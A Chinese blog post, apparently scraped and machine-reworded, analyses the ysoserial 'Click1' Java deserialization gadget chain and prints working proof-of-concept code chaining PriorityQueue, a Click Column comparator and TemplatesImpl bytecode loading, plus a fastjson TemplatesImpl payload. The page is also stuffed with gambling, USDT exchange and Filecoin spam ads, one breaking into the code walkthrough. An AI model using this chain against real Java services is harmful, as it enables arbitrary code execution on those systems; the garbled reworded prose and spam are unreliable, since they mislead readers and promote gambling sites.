皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

ipfs矿机拼购(www.ipfs8.vip):新的反序列化链——Click1

admin2022-01-20164安全技术漏洞分析

前段时间ysoserial又更新了一个链Click1,网上似乎一直没人剖析,最近在学习java,就稍微剖析下。

一、 行使代码

Click1依赖click-nodeps-2.3.0.jar,javax.servlet-api-3.1.0.jar
click-nodeps应该是个冷门项目,搜不到太多信息,以是此链也就看看就好,增添一点关于java反序列化的知识。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Click1.java
不想重新编译ysoserial的,或者只想要POC的,可以用我重构的代码如下

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Click1 {
    public static void main(String[] args) throws Exception {
        FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
        byte[] bs = new byte[inputFromFile.available()];
        inputFromFile.read(bs);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bs});
        setFieldValue(obj, "_name", "TemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final Column column = new Column("lowestSetBit");
        column.setTable(new Table());
        Comparator comparator = column.getComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));
        column.setName("outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

二、 TemplatesImpl

Click1链和CommonsBeanutils1链息息相关,更确切来说,这就是CommonsBeanutils1链在其他jar包的用法。想要跟这个链,就必须领会CommonsBeanutils1链的知识,好比TemplatesImpl。
Click1链和CommonsBeanutils1链都是无法直接去调Runtime.getRuntime().exec()的,只能使用TemplatesImpl加载随便类。
若何做到的呢?先看com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

newTransformer()

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

getTransletInstance()

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

需要_name不为null且_class为null,这就是setFieldValue(obj, "_name", "XXX");的意义。
defineTransletClasses()

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }

注重这里_tfactory.getExternalExtensionsMap(),也就是为什么将_tfactory设置成new TransformerFactoryImpl()的缘故原由。

但我们可以发现在fastjson的payload中并没有这样设置。

{"a": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": [""xxxxxxxxxxxxxxxxxxxxxxxx""],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}

现真相形注释掉这行代码天生的反序列化payload也一样能用,但直接挪用getOutputProperties却不能缺失这行,以是最好照样加上。

而我们设置的_bytecodes在这儿被defineClass加载进去,此处最终会挪用原生defineClass加载字节码,然后赋值给_class[i]。而在getTransletInstance()执行defineTransletClasses()之后

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

由于_transletIndex = i,至此我们加载进去的TemplatesImplcmd.class被实例化。

总结,只要我们事先用反射设置好_bytecodes/_name/_tfactory这三个属性,再挪用TemplatesImpl.getOutputProperties(),即可执行随便类。POC如下

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;

public class Test {
    public static void main(String[] args) throws Exception {
        FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
        byte[] bs = new byte[inputFromFile.available()];
        inputFromFile.read(bs);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bs});
        setFieldValue(obj, "_name", "TemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.getOutputProperties();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

这也是正是fastjson payload的原理。

三、 PriorityQueue

PriorityQueue是一个优先行列,在反序列化的历程中,会挪用Comparator对元素举行对照,Click1和CommonsBeanutils1存在反序列化破绽的缘故原由就是由于它们都重写了compare()方式。
我们照样从后往前往跟,先看PriorityQueue.readObject()

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();

挪用heapify()

,

USDT交易所

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,
private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

挪用siftDown()

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

comparator在new的时刻输入进去,固然不为空,挪用siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

挪用comparator.compare(),由于Comparator comparator = column.getComparator();,以是现实调的是org.apache.click.control.Column$ColumnComparator.compare()

public int compare(Object row1, Object row2) {

            this.ascendingSort = column.getTable().isSortedAscending() ? 1 : -1;

            Object value1 = column.getProperty(row1);
            Object value2 = column.getProperty(row2);

注重这儿getTable()需要this.table,因此需要column.setTable(new Table());
挪用getProperty()

public Object getProperty(Object row) {
        return getProperty(getName(), row);
    }

getName()凭证column.setName("outputProperties");也就是outputProperties

public String getName() {
        return name;
    }

继续跟getProperty()

public Object getProperty(String name, Object row) {
        if (row instanceof Map) {
        xxxxxxxxxxx
        } else {
            if (methodCache == null) {
                methodCache = new HashMap<Object, Object>();
            }

            return PropertyUtils.getValue(row, name, methodCache);
        }
    }

row不是map,因此挪用PropertyUtils.getValue()

public static Object getValue(Object source, String name, Map cache) {
        String basePart = name;
        String remainingPart = null;

        if (source instanceof Map) {
            return ((Map) source).get(name);
        }

        int baseIndex = name.indexOf(".");
        if (baseIndex != -1) {
            basePart = name.substring(0, baseIndex);
            remainingPart = name.substring(baseIndex + 1);
        }

        Object value = getObjectPropertyValue(source, basePart, cache);

source不是Map,因此挪用getObjectPropertyValue()

private static Object getObjectPropertyValue(Object source, String name, Map cache) {
        PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);

        Method method = null;
        try {
            method = (Method) cache.get(methodNameKey);

            if (method == null) {

                method = source.getClass().getMethod(ClickUtils.toGetterName(name));
                cache.put(methodNameKey, method);
            }

            return method.invoke(source);

可以显著看出来以反射的方式,最终执行了ClickUtils.toGetterName(name)方式,而toGetterName()也就是给name加个get而已,而name前面说过就是 outputProperties,而source 就是TemplatesImpl,也就是最终执行了TemplatesImpl.getOutputProperties()

source为什么TemplatesImpl可以转头看看
getObjectPropertyValue(source)
getValue(source)
getProperty(row)
compare(row1)
siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];

row1为c也就是queue[child],正是我们反射进去的TemplatesImpl。
setFieldValue(queue, "queue", new Object[]{obj, obj});

四、 总结

最后还剩三行代码需要注释

final Column column = new Column("lowestSetBit");
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

这里其着实用调getlowestSetBit方式去对照并排序两个new BigInteger("1")。排序之前name被设置为lowestSetBit,排序之后行使反射重置name为outputProperties,两个new BigInteger("1")也被重置为TemplatesImpl。序列化之后再用readObject触发,是用异常巧妙的方式绕过了可以排序和对照的类型(Comparabl接口)限制。
代码很简朴不再剖析只给出大致的挪用链。
Column.Column() //设置name为 lowestSetBit
PriorityQueue.add() //第一次新增
PriorityQueue.offer()
PriorityQueue.grow()

PriorityQueue.add() //第二次新增
PriorityQueue.offer()
PriorityQueue.siftUp()
PriorityQueue.siftUpUsingComparator()
Column$Comparator.compare()
Column.getProperty()
Column.getName() //取出lowestSetBit
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
BigInteger.getLowestSetBit()

而反序列化的挪用链为
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
Column$ColumnComparator.compare()
Column.getProperty()
Column.getName()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()

Click1链和CommonsBeanutils1链险些一模一样,虽然不如CommonsBeanutils1通用,然则认真剖析下来照样能学到不少器械。

Filecoin招商

Filecoin招商官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

网友评论

3条评论
  • 2021-07-06 00:03:29

    新2足球网址www.9cx.net)实时更新最新最快的新2足球网址、新2代理足球网址、新2会员足球网址。提供新2APP下载,新2APP包含新2代理足球登录线路、新2会员足球登录线路、新2备用足球登录线路、新2手机版足球登录线路、新2皇冠手机足球登录线路及网址。

    天哪,迫不及待想看